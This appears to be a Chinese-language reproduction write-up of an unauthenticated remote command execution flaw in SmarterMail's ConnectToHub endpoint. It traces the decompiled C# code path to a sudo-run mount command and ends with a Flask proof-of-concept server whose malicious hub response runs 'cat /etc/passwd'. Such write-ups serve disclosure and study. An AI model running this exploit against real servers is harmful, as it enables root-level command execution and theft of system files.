漏洞描述

这是SmarterMain的一个未授权RCE漏洞,出现RCE的位置为ConnectToHub API method,具体的漏洞描述如下图所示:


环境搭建

这里我直接用的docker搭建的环境,命令如下:

docker run -d --name smartermail \
  -e TZ=America/Phoenix \
  -p 80:80 -p 443:443 -p 443:443/udp \
  -p 25:25 -p 110:110 -p 143:143 \
  -p 465:465 -p 587:587 \
  -p 993:993 -p 995:995 -p 5222:5222 \
  -v /path/to/data:/app/Data \
  -v /path/to/systemdata:/app/SystemData \
  smartertools/smartermail:100.0.9504

​

然后是.net的反编译工具,我使用的是Rider以及dotPeet,这个就凭个人喜好下载了。


漏洞代码分析

因为.Net的路由大部分都在MailService.dll,所以可以直接看到这个dll中的内容,然后去找他的Controller类,在这个项目中可以看到SmarterMail.Web.Api这里。


然后看到里面的SystemAdminSettingsController类,这里可以看到这个类前面部分的路由规则。


并且我们要找的ConnectToHub方法就在这个类里面,因为是漏洞复现所以直接搜索该方法也是可以的。

代码如下:

  [ShortDescription("Attempts to connect this node to a hub")]
  [Description("Attempts to connect this node to a hub.")]
  [AuthenticatedService(AllowAnonymous = true)]
  [HttpPost]
  [Route("connect-to-hub")]
  public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
  {
    SystemAdminSettingsController settingsController = this;
    AdministrativeLog.Log("Connecting to hub", LogLevels.Normal, settingsController.HttpContext);
    ConnectToHubResult hub = await SystemSettingsService.ConnectToHub(input);
    hub.machineName = HAClusterConfig.Instance.LocalName;
    return ActionResult<ConnectToHubResult>.op_Implicit(settingsController.CreateResponseMessage((ApiBaseResult) hub));
  }


这里可以看到AuthenticatedService(AllowAnonymous = true),这个方法允许任何人进行访问,并且看到[FromBody]ConnectToHubInput input这里会接收从body中传入的数据,主要有俩个参数Address以及oneTimePassword。

ConnectToHub方法的核心业务逻辑就是调用了SystemSettingsService.ConnectToHub()方法,直接跟进去就行。


进入到SystemSettingsService.ConnectToHub()方法中首先会处理用户输入的俩个参数,并且拼接好完整的访问路径。

var data = new
{
    hubAddress = input.hubAddress,
    oneTimePassword = input.oneTimePassword,
    nodeName = NodeHAClusterConfig.Instance.LocalName
    };
string content = JsonConvert.SerializeObject((object) data);
string uriString = input.hubAddress.TrimEnd('/') + "/web/api/node-management/setup-initial-connection";
    Logs.Maintenance.Add($"Connecting to hub with full URL: {uriString} with parameters:\r\n{content}", LogLevels.Normal);
    Console.WriteLine($"Connecting to hub with full URL: {uriString} with parameters:\r\n{content}");


然后会对完整URL发出post请求,解析并处理响应返回的json数据,从这段代码中可以看到需要获取ClusterID,SharedSecret,TargetHubs,IsStandby这四个参数。

string str = await (await client.PostAsync(new Uri(uriString), (HttpContent) new StringContent(content, Encoding.UTF8, "application/json"))).Content.ReadAsStringAsync();
Logs.Maintenance.Add("Connecting to hub results: " + str, LogLevels.Normal);
Console.WriteLine("Connecting to hub results: " + str);
SystemSettingsService.InitialConnectionResult decodedObject = JsonConvert.DeserializeObject<SystemSettingsService.InitialConnectionResult>(str);
        if (decodedObject != null)
        {
          NodeHAClusterConfig haSettings = NodeHAClusterConfig.Instance;
          string sharedSecret = decodedObject.SharedSecret;
          Guid clusterId = decodedObject.ClusterId;
          Dictionary<string, string> targetHubs = decodedObject.TargetHubs;
          bool isStandby = decodedObject.IsStandby;
          try
          {
            JObject settings = new JObject();
            if (clusterId != Guid.Empty)
              settings["ClusterId"] = (JToken) clusterId.ToString();
            settings["SharedSecret"] = (JToken) sharedSecret;
            settings["TargetHubs"] = (JToken) JObject.FromObject((object) ((targetHubs != null ? targetHubs.ToDictionary<KeyValuePair<string, string>, string, string>((Func<KeyValuePair<string, string>, string>) (k => k.Key), (Func<KeyValuePair<string, string>, string>) (v => v.Value)) : (Dictionary<string, string>) null) ?? new Dictionary<string, string>()));


然后当isStandby==false时使用MountConfiguration.Mount挂载系统目录,这个漏洞的触发点就在MountConfiguration.Mount方法中,并且发现还需传入第五个参数SystemMount。

if (!isStandby)
    {
        if (!(await MountConfiguration.Mount(decodedObject.SystemMount, true)).success)
            {
                ConnectToHubResult hub = new ConnectToHubResult();
                hub.message = "Failed to mount system mount point";
                hub.success = false;
                return hub;
                }
            FileManager.SetNewApplicationDataPath(Path.Combine(decodedObject.SystemMount.MountPath, "System"));
            }


跟进到MountConfiguration.Mount方法中

具体代码如下:

  public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
  {
    string testFile = PathX.Combine(mount.MountPath, Guid.NewGuid().ToString());
    try
    {
      if (MountConfiguration.GetMountStatus(mount.MountPath) == MountState.Mounted)
        return SuccessResult.SuccessPacket;
      MountConfiguration.MountInfo[mount.MountPath] = mount;
      if (MountConfiguration.MountInfo[mount.MountPath].ReadOnly && !isSystemMount)
      {
        Exception ex = new Exception($"Mount failed: {mount.MountPath} controlled by Hub");
        MountConfiguration.LogException(ex, "");
        throw ex;
      }
      if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
        await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
      if (!DirectoryX.Exists(mount.MountPath))
      {
        Exception ex = new Exception("Mount failed: " + mount.MountPath);
        MountConfiguration.LogException(ex, "");
        throw ex;
      }
      File.WriteAllText(testFile, "hello");
      if (!File.Exists(testFile))
      {
        Exception ex = new Exception($"Mount access failed: {mount.MountPath} check write permissions");
        MountConfiguration.LogException(ex, "");
        throw ex;
      }
      if (!File.ReadAllText(testFile).Equals("hello"))
      {
        Exception ex = new Exception($"Mount access failed: {mount.MountPath} check read permissions");
        MountConfiguration.LogException(ex, "");
        throw ex;
      }
      File.Delete(testFile);
      if (File.Exists(testFile))
      {
        Exception ex = new Exception($"Mount access failed: {mount.MountPath} check permissions SmarterMail was unable to delete the test file");
        MountConfiguration.LogException(ex, "");
        throw ex;
      }
      MountConfiguration.MountStates[mount.MountPath] = MountState.Mounted;
      MountPointConfig mountPointConfig;
      if (!isSystemMount && MountConfiguration.MountInfo.TryGetValue(MountConfiguration.MountInfo.Keys.First<string>(), out mountPointConfig))
      {
        mountPointConfig.Enabled = true;
        MountConfiguration.SaveMountsConfig();
      }
      MountConfiguration.Log("Mounted: " + mount.MountPath);
      SuccessResult successPacket = SuccessResult.SuccessPacket;
      return SuccessResult.SuccessPacket;
    }
    catch (Exception ex)
    {
      MountConfiguration.MountStates[mount.MountPath] = MountState.Failed;
      MountConfiguration.LogError(ex, nameof (Mount));
      SuccessResult successResult = new SuccessResult();
      successResult.success = false;
      successResult.message = ex.Message;
      return successResult;
    }
    finally
    {
      try
      {
        if (File.Exists(testFile))
          File.Delete(testFile);
      }
      catch
      {
      }
    }
  }


这段代码的核心是对挂载目录进行检查的一个方法,当自定义了挂载命令时就会使用MountConfiguration.RunCommand方法来执行命令完成挂载,因此这里只需要走到MountConfiguration.RunCommand方法即可。这里只需要CommandMount不为空就行,当然也需要传入一个MountPath作为RunCommand的参数。


跟进到MountConfiguration.RunCommand方法。


由于上面没给UseArgumentsInCommand传值因此默认为flase,这段代码会直接走到else中,也就是会调用到CommandLine.RunCommand中。

​

这里是一个很明显的命令执行,并且由于使用了sudo,在linux中执行还会提升攻击者权限。

​

漏洞复现

根据上面的漏洞分析,可以知道需要搭建一个网站用于传输恶意数据,并且需要构造ClusterID、SharedSecret、TargetHubs 、IsStandby、SystemMount、MountPath、CommandMount等参数,因此使用python写了一个poc。

poc如下:

from flask import Flask, Response

app = Flask(__name__)

@app.route("/web/api/node-management/setup-initial-connection", methods=["GET", "POST"])
def init_handler():
    print("Connected")
    return Response(
        '''{
  "ClusterID":"f0e12780-f462-4b51-a7db-149f1d56209c",
  "SharedSecret":"vulncheck",
  "TargetHubs":{"a":"b"},
  "IsStandby":false,
  "SystemMount":{
    "MountPath":"/cat",
    "CommandMount":"cat /etc/passwd > /shell.txt"
  },
  "SystemAdminUsernames":["poptart"]
}''',
        mimetype="application/json"
    )

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8082)


发送请求。


漏洞复现成功


漏洞修复

https://www.smartertools.com/smartermail/release-notes/current#/